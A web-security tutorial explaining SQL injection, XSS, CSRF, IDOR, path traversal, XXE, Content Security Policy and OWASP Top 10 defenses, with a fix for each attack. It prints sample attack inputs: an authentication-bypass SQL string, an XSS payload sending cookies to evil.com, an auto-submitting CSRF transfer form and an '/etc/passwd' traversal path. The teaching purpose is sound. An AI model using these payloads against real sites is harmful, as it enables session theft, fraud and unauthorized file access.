SQL Injection, XSS & CSRF: Web Security Attacks
SQL injection, Cross-Site Scripting, and CSRF together account for a huge fraction of successful web breaches. These aren't exotic nation-state zero-days — they're basic mistakes, made every day by developers who don't understand how browsers and databases interpret untrusted data.
1. SQL Injection
A SQL injection attack occurs when user-supplied data is directly embedded in an SQL query without sanitisation, allowing the attacker to change the query's logic.
const query = `SELECT * FROM users WHERE username = '${req.body.user}'
AND password = '${req.body.pass}'`;
// Attacker inputs: user = "admin' --"
// Query becomes:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// The -- comments out the password check → logged in as admin
// Node.js / PostgreSQL const result = await db.query( 'SELECT * FROM users WHERE username = $1 AND password = $2', [req.body.user, req.body.pass] // parameters, never concatenated ); // The database driver escapes all special characters.
2. Cross-Site Scripting (XSS)
XSS injects malicious scripts into pages viewed by other users. The browser of the victim executes the attacker's JavaScript in the context of the target site — with full access to cookies, localStorage, and the DOM.
Reflected XSS
The payload is in the URL parameter and immediately reflected in the response. Attacker sends the victim a crafted link. Example: search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Stored XSS
The payload is persisted to the database (e.g., a comment field) and served to every visitor. More dangerous — no need to trick specific users with links.
// Server renders user-supplied content directly into HTML:
document.getElementById('comment').innerHTML = userInput;
// or server-side:
res.send('<p>Hello ' + req.query.name + '</p>');
// Use textContent (not innerHTML) for user data:
element.textContent = userInput; // browser treats it as text, not HTML
// Server-side: use a templating engine that auto-escapes:
// Handlebars: {{ name }} → < > (escaped)
// React: {name} → auto-escaped by React's VDOM
3. Cross-Site Request Forgery (CSRF)
CSRF exploits the browser's automatic inclusion of cookies. If a user is logged into bank.com and visits evil.com, a hidden form on evil.com can submit a POST to bank.com — the browser attaches the user's session cookie automatically.
<!-- Hidden form auto-submits when the victim visits --> <form method="POST" action="https://bank.com/transfer"> <input name="to" value="attacker-account"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit();</script>
• CSRF tokens: Server generates a random token per session, embeds it in forms, and validates it on submission. An attacker on evil.com can't read it (same-origin policy).
• SameSite cookies: Set
SameSite=Strict or SameSite=Lax — browser won't send cookies in cross-site requests.• Double-submit cookie: Token in both cookie and request body; server checks they match.
4. IDOR, Path Traversal & More
IDOR (Insecure Direct Object Reference): Accessing another user's data by changing an ID in the URL. e.g., /api/invoice?id=1042 → try id=1043. Fix: authorisation check on every resource access.
Path traversal: Using ../../etc/passwd in file path parameters to read arbitrary files on the server. Fix: canonicalise paths and verify they're within the intended directory.
Command injection: Passing unsanitised input to OS commands via system(), exec(), etc. Fix: avoid shell invocations or use parameterised APIs (child_process.execFile with args array).
XXE (XML External Entity): XML parsers that resolve external entities can be exploited to read files or make SSRF requests. Fix: disable DTD/external entity processing in XML parser settings.
5. Content Security Policy
CSP is an HTTP response header that tells browsers which sources are allowed to load scripts, styles, images, etc. A strict CSP prevents most XSS attacks even if HTML injection occurs:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random-per-request}';
style-src 'self' 'nonce-{random-per-request}';
img-src 'self' data: https:;
object-src 'none';
base-uri 'none';With nonce-based CSP, only inline scripts with the correct nonce value (generated server-side, different each request) execute. An attacker who injects a script tag without the nonce is blocked.
6. OWASP Top 10 (2021)
- Broken Access Control
- Cryptographic Failures (plain-text passwords, weak hashing)
- Injection (SQL, NoSQL, LDAP, Command)
- Insecure Design
- Security Misconfiguration (default credentials, verbose errors)
- Vulnerable & Outdated Components
- Identification & Authentication Failures
- Software & Data Integrity Failures (unverified updates, malicious npm packages)
- Security Logging & Monitoring Failures
- Server-Side Request Forgery (SSRF)
7. Security Best Practices
- Never trust user input — validate, sanitise, and escape at every boundary.
- Parameterise all queries — ORM or prepared statements, never string concatenation.
- Use modern password hashing — bcrypt, Argon2, or scrypt. Never MD5/SHA1.
- Principle of least privilege — DB user should only SELECT/INSERT on needed tables.
- Set secure cookie flags:
HttpOnly(no JS access),Secure(HTTPS only),SameSite=Lax. - Keep dependencies updated — most breaches exploit known CVEs in outdated libraries.
- Rate-limit authentication endpoints — prevents brute-force attacks.